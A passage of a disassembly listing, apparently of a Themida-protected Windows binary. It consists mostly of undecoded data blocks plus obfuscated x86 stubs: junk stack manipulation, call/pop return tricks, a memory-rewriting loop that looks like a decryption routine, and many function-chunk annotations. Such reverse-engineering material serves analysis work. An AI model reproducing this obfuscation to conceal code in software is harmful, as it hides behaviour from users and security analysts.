		dd 0C29B2F4Bh, 2C48233Ch, 8AA88298h, 0EC02E0F6h, 4D654258h
		dd 0D95606B9h, 13A82A22h, 77DC6BB0h, 1442A084h,	861A320Fh
		dd 36862867h, 0A6EF21B9h, 0FDD67413h, 5CB5CDAAh, 98778924h
		dd 0AC0521FCh, 0CAE0BE5Ch, 0E501DC7Ah, 0DE0012ADh, 5E25A204h
		dd 0FC13A6F0h, 89678193h, 23B53B73h, 44000008h,	0F965424Dh
		dd 0EC33BCD8h, 850252ABh, 13A69257h, 0EA4C9C05h, 0A693966Dh
		dd 0C9DB4413h, 93A55603h, 112213A6h, 0DED62955h, 1CFFD877h
		dd 28000001h, 12627856h, 48809674h, 7D59BADh, 0E303DC2Dh
		dd 7FB710ABh, 84BCD4B1h, 2EC2D8B6h, 0EC243A18h,	0E3337B15h
		dd 42A0A966h, 0D40C7514h, 1F1E461Dh, 41AF841h, 44D831CCh
		dd 23A502Eh, 42A05255h,	82E4FC14h, 42A17E05h, 6173DC14h
		dd 0BF9D80C4h, 9AF615A9h, 52C414h, 7D9371D4h, 9B4AAA45h
		dd 3788287Bh, 0D35631D1h, 0D8A687Ah, 1442367Eh,	57754FEDh
		dd 0C5FD6645h, 6BFF1DF7h, 716F391h, 4236F58Ah, 9FF86114h
		dd 7B99738Dh, 4D987543h, 85205870h, 0AC051BF9h,	98DFBE5Ch
		dd 1149A2BCh, 0E79E6476h, 0FE95410h, 6D475DF1h,	4F40174Fh
		dd 0F0920F5Fh, 7E13A62Ah, 0C563C515h, 9D62CDEBh, 2A13A612h
		dd 8E9F29Ch, 0ED89DA06h, 8FA1FA0Eh, 5F7D576Dh, 6E405027h
		dd 82D6A11Eh, 137C13A6h, 194D24DBh, 20FB4C26h, 0D831CC04h
		dd 36542E44h, 466827FEh, 0B30F79F6h, 64D61442h,	9BD72916h
		dd 58374990h, 90C8DEBCh, 0F2089CF5h, 5066FA18h,	6E0C5C72h
		dd 0A43F7793h, 4D9F7092h, 8C3C6542h, 0D59CD7FFh, 55AF2C7Ch
		dd 1B13A691h, 76E87AB2h, 92A93AC4h, 0B8D2E41Fh,	5A2BBFDFh
		dd 1762092h, 374CD9AFh,	1B930225h, 604536E3h, 0F1021442h
		dd 8E6806B5h, 8B9D3870h, 5B514FB0h, 2488E0h, 56B10000h
		dd 78255D7Dh, 1442A083h, 6910542Bh, 9ED6EECBh, 0FED7F103h
		dd 0EE554ADEh, 64144285h, 0FFFFB720h, 7956AFFFh, 0A016ED6Ah
		dd 5BC41442h, 18AABB02h, 0A04239B6h, 0A7101442h, 484DC095h
		dd 7D4E1F66h, 5FE59A95h, 585BE5h, 97B0000h, 0DB202D15h
		dd 34091BE9h, 1F66484Dh, 0A06E1592h, 83EC1442h,	15F4923Ch
		dd 0B811EF01h, 16F492h,	0C2A12DC8h, 0C9DB76AEh,	66B6D6AFh
		dd 15E734F4h, 3F512427h, 925B706Ah, 0EBF817F4h,	0F9FD4A9h
		dd 0ADCEE47h, 31h, 0CAB12E90h, 88144271h, 9BF412ECh, 484DB489h
		dd 15921F66h, 1442A06Eh, 68FBDABh, 0D4C0D002h, 0B18D2B7Bh
		dd 0B2C45F97h, 563992DDh, 70165D7Dh, 607A565Bh,	0A0847B28h
		dd 162E1442h, 0A04037B4h, 920F1442h, 1442A0EDh,	46AF0069h
		dd 70EF9734h, 0D1507394h, 0F052922Fh, 0CFA94797h, 0C5463DBAh
		dd 0AB141442h, 291E4052h, 1442D521h, 0E9425C38h, 0FFF433A5h
		dd 7D5634FFh, 0E5AAC95Dh, 16FC79C9h, 0E413A680h, 0E596437Bh
		dd 6213A680h, 0C8661551h, 0A75CD9EEh, 3313A680h, 9E3971CAh
		dd 0FD4EB18Ch, 787D877h, 0B0000000h, 19Eh, 424D2D00h, 659F1C6Ch
		dd 2B13A6A7h, 0E091B48Fh, 66B1FBA3h, 0A5F54EA7h, 0FD0F2D07h
		dd 70906937h, 886402DCh, 0EF485C3Bh, 110A1CB7h,	13A69FA0h
		dd 0EF839977h, 0D7B2FBD9h, 3B94AA88h, 94CBAAE2h, 0CD8CB831h
		dd 7F25D05Bh, 4759395Bh, 0E9394F2Dh, 46586C4Bh,	0CDD84A24h
		dd 0F23576B0h, 0AF54D121h, 2B13A631h, 0B996B0C2h, 0A78480A1h
		dd 0F16E815Ch, 13A6310Ah, 0CE065FC8h, 288ADA33h, 5B93AF8Ah
		dd 31AE55C0h, 0C32C13A6h, 0FC6702B1h, 0E0F8D548h, 6C49E7D7h
		dd 6F811C54h, 0E56A959Ah, 0BA2CE7DFh, 217EC111h, 6C0B1DA3h
		dd 0E3h, 6B434D95h, 1AF49224h, 0CD19EAF5h, 389159F7h, 3E543200h
		dd 78F5D3E5h, 14425E86h, 92DD240Bh, 0EE95D339h,	0A0680F8Ch
		dd 6AE71442h, 1442A095h, 1E87D841h, 3092370Ch, 666DF1BEh
		dd 26918EC5h, 14427C51h, 2F0894FDh, 6E3FD0Fh, 3092A7EEh
		dd 42A0CCB3h, 0F218A14h, 0D855B749h, 1442A023h,	5F3446AFh
		dd 1F66484Dh, 9A957D4Eh, 1CE55FE5h, 4E86A47Eh, 3902A1B3h
		dd 2B000000h, 8BF12092h, 30F9DC2Ah, 149AFB1Eh, 0FE4926C4h
		dd 34CF0723h, 92F4C9DBh, 42A06E15h, 7250EC14h, 3089245Ch
		dd 4C6642E0h, 3992653Ah, 165D7D56h, 1D9E5B70h, 2D000000h
		dd 1F66484Dh, 115F492h,	3E1C2EC9h, 42A03AC1h, 29705714h
		dd 7D563992h, 5B70165Dh, 0B8923092h, 0A0482F9Ah, 9D061442h
		dd 0FF0BB98Bh, 5648FFFFh, 0AF116179h, 42A04D32h, 8EA00914h
		dd 51DFAC8h, 713D5271h,	8CA88321h, 0AD1F9C7Ah, 0E313A6B3h
		dd 12B0427Ah, 0E071939h, 13A6B46Dh, 78B0CAA6h, 7AB2D0AAh
		dd 3FB4D2ACh, 1C743C68h, 0DC235B0Bh, 0BAD87809h, 0A8561F48h
		dd 0EDFF4BAFh, 584Eh, 424D7700h, 0D455B39h, 4CC91972h
		dd 13A6A986h, 0A05BE355h, 41A10D1Ah, 0D9B4502Fh, 7F2C64BDh
		dd 13A6D3FCh, 0EB233917h, 19F73E1Dh, 0D730CB03h, 0ED99609Fh
		dd 83C4DA5h, 779EAB54h,	2F7BEDD8h, 2B851E86h, 4B64DCAh
		dd 0BB2413A6h, 0E3F7D662h, 5FFE10ABh, 0BDh, 61795688h
		dd 64805B29h, 55289A2Ch, 0DC4A9E74h, 7D5A7486h,	825F2D65h
		dd 52E1D66Ah, 0C5144291h, 263CD0E8h, 6FE13149h,	18F5624Ah
		dd 0CD2DC800h, 0E5F7F15Dh, 6747481Fh, 0A50C9A17h, 0F15A13A6h
		dd 6E5835Dh, 0D2BDE0F2h, 3B0F8CDCh, 39144050h, 7E280D0h
		dd 0B7D57EBh, 8FFBF1ECh, 20F98545h, 1B2DC800h, 0B60A2601h
		dd 62351572h, 0A3911757h, 9A000002h, 0F60CA0C2h, 5369FD1Dh
		dd 0B3C95D77h, 162CC0D4h, 0B28B1F3Bh, 1C38134Ch, 7A987288h
		dd 0DCF2D0E6h, 3D553248h, 0C946F6A9h, 13A83032h, 92CC5BA0h
		dd 9DAF6420h, 6476063Ch, 45206F4Ah, 0C90119F6h,	0E87CD52Eh
		dd 49DDF5D2h, 6C424D78h, 0A9E99F1Ch, 3EA713A6h,	0AAA65906h
		dd 142513A6h, 4AC72950h, 13A6AAB5h, 7558B821h, 41FB1E75h
		dd 0B54A2537h, 0E3D8774Dh, 3C4E6A45h, 0C69Dh, 7956C600h
		dd 0FF37532Eh, 5D30B64h, 0E5FFDB2Ah, 5BCA3C8Ch
		dd 380CE86Fh, 50B7A6D5h, 1D963DF0h, 32AB50CDh, 0BE271442h
		dd 0A39E6ACh, 1D144236h, 7E942840h, 7A5189A1h, 0CC499915h
		dd 13A638DEh, 708F238Ch, 71FF881Fh, 0F869EF08h,	0C1FCA813h
		dd 60B9F4h, 0BDCB69D2h,	0AAFA5372h, 4024AA2Dh, 0F997F914h
		dd 0E097021Eh, 331B89E9h, 6D084054h, 4827B31Ch,	4F61FC34h
		dd 19B70770h, 788E223Eh, 52D819Dh, 0D8623574h, 1981298h
		dd 0CDA50000h, 280117ABh, 825E7408h, 0DFBED468h, 462137CBh
		dd 37BD962Ah, 9327431Eh, 0F185A37Dh, 53E7FDDBh,	0B448603Dh
		dd 2FD45101h, 0AB13A831h, 7B56D766h, 0D8B5CB5Fh, 565B2CC0h
		dd 5B296179h, 0D2205F7Eh, 4445C9D7h, 7D185066h,	0DD7BCB24h
		dd 16B1E9FFh, 6B3106B6h, 55679491h, 337B1433h, 58CC66E3h
		dd 319313A6h, 0A65FCFB4h, 10228B13h, 6DB89531h,	0C61F7890h
		dd 0ADFED876h, 245CB5D3h, 0FB997789h, 18B6061Eh, 0F1132539h
		dd 0AEE6FEDBh, 1C63AA1Ch, 2D8DA984h, 7183C729h,	1D6D414Eh
		dd 4CB83BA0h, 0B2E65814h, 0BE0B7770h, 9F08E7F9h, 3223F14Bh
		dd 3AC00062h, 0DEh, 0D165875Fh,	2EC2E2BBh, 8E223C18h, 0F1859978h
		dd 50E400DBh, 0FDD87177h, 5D374DE1h, 0B795AB3Fh, 1AF70DA1h
		dd 0BBB6E02h, 0A832E98Eh, 91206513h, 1C6C424Dh,	7587A37Eh
		dd 56D33597h, 1442A0A1h, 9AB6912Dh, 0BEDAB541h,	0E0D9EB86h
		dd 13A8D5FFh, 24F22A93h, 323FC47h, 87D730CBh, 847F6115h
		dd 78D87AD0h, 98069E1Dh, 7092A4C5h, 2D657D5Ah, 0DE0A7680h
		dd 7AC3A173h, 0B24D859Dh, 77532159h, 0C144255Dh, 2EABCD85h
		dd 122A0776h, 2806A47Eh, 0DF3FDA12h, 0A4B241FBh, 0DCF608A8h
		dd 1DAFE7FFh, 2686A67Fh, 8A3A0DF5h, 0D2ECFEB9h,	0F0A7DFF3h
		dd 15F26D19h, 765369FDh, 1FA0265Eh, 26000000h, 0CC4352C4h
		dd 237963E0h, 23B1C3B8h, 6C13907Ch, 0EA7C23B1h,	0B6943081h
		dd 603547A0h, 7E563E8Dh, 7956245Ch, 7D5B2961h, 87612F67h
		dd 88633169h
		db 6Ch
byte_5EB785	db 34h,	66h, 8Bh	; DATA XREF: Themida_:00583288o
		dd 8A69376Fh, 94703E76h, 9B74427Ah, 68EE437Bh, 15F3h, 53242489h
		dd 4BBh, 245C0100h
; ---------------------------------------------------------------------------
		add	al, 5Bh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ecx, 36742124h
		add	ecx, 4AF769F9h
		and	ecx, 19A66C0Eh
		inc	ecx
		dec	ecx
		push	eax
		mov	eax, 265C4B52h
		or	ecx, eax
		pop	eax
		sub	ecx, 1F93D340h
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		sub	dword ptr [esp], 171E3553h
		pop	dword ptr [ebp+8]
		add	dword ptr [ebp+8], 171E3553h
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		db 91h
		dd 82AA2345h, 0EA930CB8h, 50C50307h, 2C2D85C6h,	684707E4h
		dd 0CF381725h, 19DB5FFh, 858D07E4h, 7E43BDCh, 0D88BD0FFh
		dd 3359858Dh, 685007E4h, 104h, 85C6D3FFh, 7E42C2Dh, 0F8BF6853h
		dd 0B5FF8307h, 7E4019Dh, 3BDC858Dh, 0D0FF07E4h,	75E48589h
		dd 0BD8307EAh, 7E4015Dh, 0B840F00h, 8B000000h, 0E415519Dh
		dd 5E907h, 0BB0000h, 68000000h,	100h, 75E8B58Dh, 535607EAh
		dd 14C195FFh, 0B58D07E4h, 7EA75E8h, 1E9F003h, 4E000000h
		dd 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh, 0E8858D00h
		dd 5007EA75h, 75E495FFh, 0FF5807EAh, 0B8C17FE0h, 0A1B6E07Fh
		dd 8228F116h, 35731F57h, 0B927115Bh, 0A779B577h, 0D7675F3Eh
		dd 461BED58h, 0ED32D20Fh, 0A2D3BC0Ah, 0E359B41Fh, 78B86D57h
		dd 2EB8D857h, 737BBA6Dh, 37B59244h, 0C9E34C14h,	1C3EA34Bh
		dd 1413516Bh, 4C56DA5Ch, 9832B53Bh, 4CF2CA37h, 0F7A0F70Ch
		dd 0D8B10F45h, 593B3D37h, 0BE85Fh, 17560000h, 72A28EE1h
		dd 85B2F8B0h, 2810FEFh,	0B4000000h, 81665F80h, 8179D7F0h
		dd 63E4C7h, 0F3B70F00h,	0BBh, 0C0E98000h, 811F148Bh, 0AE6D05EAh
		dd 148E0F71h, 0E9000000h, 0Fh, 9D4E5BAFh, 87FA5F8Ch, 41550EC8h
		dd 815263DEh, 89DFF7C2h, 81CE8B32h, 990EB0EAh, 0B9A8B87Dh
		dd 0E9526DE4h, 12h, 153E4D7Eh, 764FC208h, 444F80BAh, 0B50B4DCDh
		dd 48FBD91h, 0D881661Fh, 6E904C7h, 0A4000000h, 0FBBF098Ah
		dd 3EB83F8h, 0BE951h, 94DB0000h, 6393804Eh, 0F057B7B1h
		dd 0E84B5E7Eh, 13h, 0D83B0DECh,	93FC2648h, 0BB9D773Fh
		dd 0EC5763F9h, 5043DDB4h, 5E5EC68Bh, 9CE8FB81h,	850FFFFFh
		dd 0FFFFFF60h, 0E29DE81h, 1AE96BFBh, 0F6000000h, 1AF7B3h
		dd 5 dup(0)
		dd 58EE900h, 39110000h,	946D8317h, 0EECAE074h, 4B2A40D4h
		dd 0B28DA337h, 0C3290296h, 0FF93AF8Ah, 5DF10FE9h, 0BF536947h
		dd 20B4CCA9h, 0BB40BD6Dh, 1713A835h, 309243D2h,	659DB592h
		dd 0A0985FCAh, 0CD361442h, 0ACC4A1BBh, 1990EA5Ch, 0B626FC5Dh
		dd 0DA4CDEA4h, 0D1F1FD44h, 87A1B34Bh, 22FC90ACh, 858E2CB0h
		dd 0D1FD815h, 0C6FE16F3h, 9A21C234h, 2A83EE9Eh,	0D621FE18h
		dd 0B5D5AEF9h, 3089245Ch, 31512AF8h, 4C6843E1h,	0CCA6743Ah
		dd 0CDA876AEh, 981579B1h, 582A4ECh, 3BB81A41h, 1442A744h
		dd 0A800A903h, 8FE09090h, 1DFA1426h, 7D5B7105h,	87F9D367h
		dd 43200C45h, 0F858F32Bh, 0BD9B0DDEh, 223C4EA7h, 64F62E44h
		dd 57457AF2h, 0B9CBBE1Dh, 6FA7C59Fh, 0BAA5E1B8h, 1C32C6DCh
		dd 42EF273Fh, 14424FB8h, 0C0FCA865h, 0E05B223Fh, 6598h
		dd 411AB800h, 52B2C121h, 0A5B24B2Dh, 0F492BE93h, 0D5EF0115h
		dd 0F290E0F8h, 22E8FA18h, 42A08875h, 1A320F14h,	193614E2h
		dd 0BC0490D9h, 336BC447h, 6792DF4h, 0B6B81129h,	0BEC246B8h
		dd 47E2B947h, 0B0EC9835h, 0E05BE24Fh, 188h, 7D56B100h
		dd 7E57255Dh, 7958265Eh, 4CC92D65h, 2C4C2518h, 8DA58298h
		dd 7B5628F9h, 8059275Fh, 0A017EC69h, 5AC31442h,	0F6BE09FAh
		dd 78D18FE5h, 0D390240h, 0CB1B3712h, 51DFA659h,	0DAFF9064h
		dd 7795D1ECh, 0AACCDE37h, 679FB794h, 579CBD99h,	0A6BE8858h
		dd 7CE7EEC7h, 70E2381Ch, 92EB0BE4h, 0F7AFC05Ah,	5BF568C7h
		dd 0F1D06EE0h, 0F80AA5DDh, 0A359h, 7B568200h, 7D59275Fh
		dd 7F5D2B63h, 63E5C36h,	48DA126Bh, 42A034CBh, 0AD39A214h
		dd 0B07EB6D2h, 9A1DBCD2h, 784A6EAh, 0E905E05Fh,	48643F55h
		dd 48634210h, 968069F7h, 0ED3D9642h, 4759734Fh,	0BDD7B381h
		dd 0C0DCB785h, 63E5834h, 2A6125A2h, 0DBE33C96h,	0F048A1D3h
		dd 38F7A7DFh, 7EE05B3Bh, 7ED89F1Ch, 0D761442h, 5A5CFBh
		dd 1A7C0000h, 427EE69Dh, 455B3914h, 0B821720Dh,	7B56D1A6h
		dd 0F795275Fh, 3ACC0418h, 42A0C6BDh, 0D22B9414h, 0ABC8A6C0h
		dd 5B4AEBFBh, 5E96EFADh, 0D34AFA7Dh, 7748DCF8h,	0D5D7D56h
		dd 885906Fh, 1442A073h,	0B1D76DFh, 0A0E69845h, 0FEBB1442h
		dd 11E91646h, 1EEE05Ch,	17000000h, 28607A56h, 11DF896h
		dd 0C5BA37C9h, 911442A0h, 6843CF28h, 6779144Ch,	0E461704Dh
		dd 1442A11Fh, 0C1F952BBh, 0C80014F3h, 0CC041EFAh, 743C68EBh
		dd 17C28FFh, 58770B25h,	0AA277737h, 13A69064h, 0C391C932h
		dd 75CFC7E6h, 0F712E966h, 57C013A6h, 819D93F7h,	0A17E9428h
		dd 0BC9B3989h, 0C3D570A8h, 65AD50FDh, 54D713A6h, 38502D10h
		dd 99B18EA4h, 0FD5DCF61h, 4C7EB0BFh, 5D7552DEh,	3C54314Bh
		dd 49FDC604h, 91E1F9D6h, 0F2CDB22Fh, 208913A6h,	0EA15EC0Eh
		dd 0EBD877BFh, 13Dh, 39424D14h,	730E465Ah, 934DCA1Ah, 4113A6BEh
		dd 0F5D2A0D8h, 563349DDh, 5B38063Eh, 4CD0B43h, 0F100DD40h
		dd 0A6BE8F74h, 89E24B13h, 0F3E11EF5h, 6DF6D877h, 16000000h
		dd 71839B78h, 0BC20929Ch, 40A6F512h, 3CC34090h,	9A144275h
		dd 95FC1F31h, 574CC919h, 36BBD8Ah, 156E8E67h, 754B30DDh
		dd 0EDCC9442h, 0F6D3A1D9h, 0C542A6DEh, 0A7C39E81h, 7E7BD46Fh
		dd 0A878FB7h, 80F254A4h, 1BA682ADh, 0FEDB6717h,	0C4DBD4E6h
		dd 92EBBDBDh, 623BD929h, 5D6F0A42h, 0A36D3Bh, 81F30000h
		dd 9F70DFCh, 10E5F747h,	1C6C424Dh, 0A6B9F59Fh, 21FE9C13h
		dd 0A8E0FAD6h, 0C3A2B40Dh, 0F290225Ah, 0D0EAFC16h, 6D47DBF3h
		dd 1E872FFBh, 0EDFFE0C3h, 8ED7F6D3h, 0A4E835C3h, 0D19DE5Bh
		dd 4CB513A6h, 0B5629AF3h, 13A60D35h, 8F8EB639h,	2C069AB2h
		dd 889AB08Eh, 34842A65h, 4C9B58B7h, 0AA892714h,	0B1C35E96h
		dd 0A71969D2h, 0A2BE9477h, 0F70DEB17h, 0B9CB24BFh, 0F6EF61F3h
		dd 0A93FCD8Ch, 0D0ADC7D9h, 338CAC85h, 4C6C45E3h, 0A1677914h
		dd 0E35313EAh, 35B202ACh, 1C670AD6h, 0CDA73BA4h, 283A522Fh
		dd 92309253h, 0CB669EB4h, 42A09B60h, 42CE3714h,	77124A68h
		dd 614D4265h, 35779411h, 9A0313A8h, 9FB79462h, 18F50Bh
		dd 1E5C1BC8h, 11EF0EB5h, 1AF5C3FBh, 0E562C6FEh,	52CFF1A1h
		dd 364E2B12h, 97AF8CA2h, 0DB5BCD5Fh, 0AD1A8ADEh, 0EA52CE2Eh
		dd 6A049CE7h, 545F3E58h, 453A20D7h, 0EC45AE31h,	0ED0DE6B4h
		dd 0FC09E7B5h, 453AF87Fh, 94ED5631h, 0CB7BF85Ch, 0B3B1287h
		dd 8B1F3714h, 0B6799875h, 4620A1E3h, 0E039532Fh, 1FBD4F87h
		dd 44162844h, 3, 563E8DD3h, 56245C7Eh, 5B296179h, 612F677Dh
		dd 63316987h, 66346C88h, 69376F8Bh, 703E768Ah, 74427A94h
		dd 0EE437B9Bh, 81E38953h, 4C3h,	4EB8300h, 8B241C87h, 89512424h
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 240C895Ch, 81E18951h
		dd 4C1h, 4E98300h, 5C240C87h
; ---------------------------------------------------------------------------


loc_5EBF84:				; DATA XREF: Themida_:00583A30o
		mov	[esp], edx
		push	7EA95BBh
		mov	ecx, [esp]
		add	esp, 4
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [edx+8]
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		mov	ds:0EA9AC1B8h, al
		pop	es
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 29h,	0FFh, 6Eh
		dd 615B4F25h, 9291570Eh, 40E63867h, 8E47A636h, 3E791208h
		dd 0F87E5139h, 3BB73B61h, 8E060C5Dh, 0C2EF372h,	0F662504Ch
		dd 1C95BC21h, 155FB20Eh, 186E6136h, 1A6DD123h, 54565A04h
		dd 89010624h, 0EF69E262h, 0A4FE6129h, 561DA170h, 0DAB3CF35h
		dd 76CB8D28h, 3DD1D10h,	4B88F84Ch, 0C1B89974h, 7F315564h
		dd 0F62A321Ch, 0B9BD3202h, 2596197Ah, 9AD93D14h, 868D8D2Eh
		dd 0F07EA9Ch, 8D89C1B7h, 7E41B71h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 3CC35646h, 9F6178B7h, 85C771DEh
		dd 7E42DA1h, 599Ch, 0FDEBF0Fh, 85C7FEBFh, 7E422B9h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5EC0AB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EC0AB	proc near		; CODE XREF: Themida_:005EC0A3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5EC0AB	endp

; ---------------------------------------------------------------------------
		db 0E5h
; ---------------------------------------------------------------------------
		push	8B51A599h
		mov	ebp, 7E40A65h
		push	dword ptr [ebp+7E40635h]
		push	ecx
		mov	[ebp+7E40915h],	edx
		pop	eax
		call	dword ptr [ebp+7E43061h]
		push	0
		push	ebx
		call	sub_5EC0E5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EC0E5	proc near		; CODE XREF: Themida_:005EC0DDp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5EC0E5	endp

; ---------------------------------------------------------------------------
		db 0A5h, 79h, 0F4h
		dd 0E7008B23h, 0D3BF0F4Bh, 2631858Bh, 8B6007E4h, 6A61D8h
		dd 0E4195FFh, 0C08B07E4h, 2EC628EBh, 936CEED6h,	0B2A13AAFh
		dd 2538AC54h, 119882D8h, 773E1F58h, 7399AED2h, 0C808EBF9h
		dd 0BEF60D09h, 4AB7C5Fh, 8D8DE406h, 7EA9D59h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C2C35545h, 0C22737A8h
		dd 8BA7A984h, 0E42D59BDh, 718D8907h, 0E907E41Bh, 0Eh, 0D4D0127Fh
		dd 0C3283044h, 95EF2559h, 85C76E50h, 7E42DA1h, 736Ch, 0C761F560h
		dd 0E422B985h, 7, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 48B9D9BDh, 69BD8B71h
		dd 0FF07E423h, 0E41E15B5h, 5B50907h, 0FF07E40Ah, 0E4306195h
		dd 0BD88B07h, 0E41ECD9Dh, 0FF006A07h, 0E40E4195h, 0EBC08B07h
		dd 8B22A679h, 66013441h, 0DF7C53B2h, 24F2F978h,	91CBEB32h
		dd 5081D47Bh, 7909EC3Ah, 0CD74D480h, 8B5DEFFDh,	0A418B1EAh
		dd 0A28F113h, 54304086h, 4E82FE2Ah, 79A5F166h, 8B23F4h
		dd 7E6C4BE7h, 4457EB9Eh, 8BAD1615h, 0ED5E811Ah,	0FF261D9Bh
		dd 6F264DD6h, 27028F1Fh, 6EEEC8E7h, 0CCB5EC86h,	27CF5B1Eh
		dd 0EC42F5EAh, 74D173F1h, 66F78B08h, 0E9375A58h, 0F01AB8B9h
		dd 5E8257Bh, 89000000h,	837EEB97h, 81B589h, 815907E4h
		dd 7431C1h, 0A1850100h,	0BF07E413h, 0
		dd 2639BD89h
		db 0E4h, 7
; ---------------------------------------------------------------------------


loc_5EC28A:				; CODE XREF: Themida_:005EC2CEj
		mov	ebx, [ecx+edi]
		cld
		add	ebx, 472A04E4h
		mov	[ebp+7E420B1h],	eax
		sub	ebx, 7F158CE9h
		mov	esi, [ebp+7E431DDh]
		add	ebx, 5B7AACF8h
		mov	dx, 6864h
		mov	[ecx+edi], ebx
		mov	[ebp+7E40191h],	ecx
		mov	esi, [ebp+7E41BEDh]
		sub	edi, 4
		mov	edx, [ebp+7E41FA5h]
		cmp	edi, 0FFFF8C38h
		jnz	loc_5EC28A
		call	sub_5EC2E8
		jg	short near ptr loc_5EC307+1
		sub	[esi-0AE4DCFCh], dh
		or	[eax-2D5DD126h], edx
; ---------------------------------------------------------------------------
		db 0EBh

; =============== S U B	R O U T	I N E =======================================



sub_5EC2E8	proc near		; CODE XREF: Themida_:005EC2D4p

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= dword	ptr -16h

; FUNCTION CHUNK AT 0058A287 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0058A58E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058A801 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058A82E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058B00A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058B085 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B6B0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B72C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058B9A8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058BB23 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BB94 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BBFA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058BD46 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058BD84 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058BF3F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C450 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C48D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C584 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058C6A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058C717 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058CB00 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058CC2F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CE0B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058CEC2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D051 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D0BC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058D85C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D8FC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058DA5E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058DA9F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058DC36 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058DCE0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DDC1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E4EB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058E6B9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058EB86 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058EEDD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F22F SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0058F508 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058F534 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058F748 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FB47 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FFA2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00590072 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005904A9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005904D1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00590682 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590CE7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00590E4A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059129D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00591339 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00591954 SIZE 0000000D BYTES
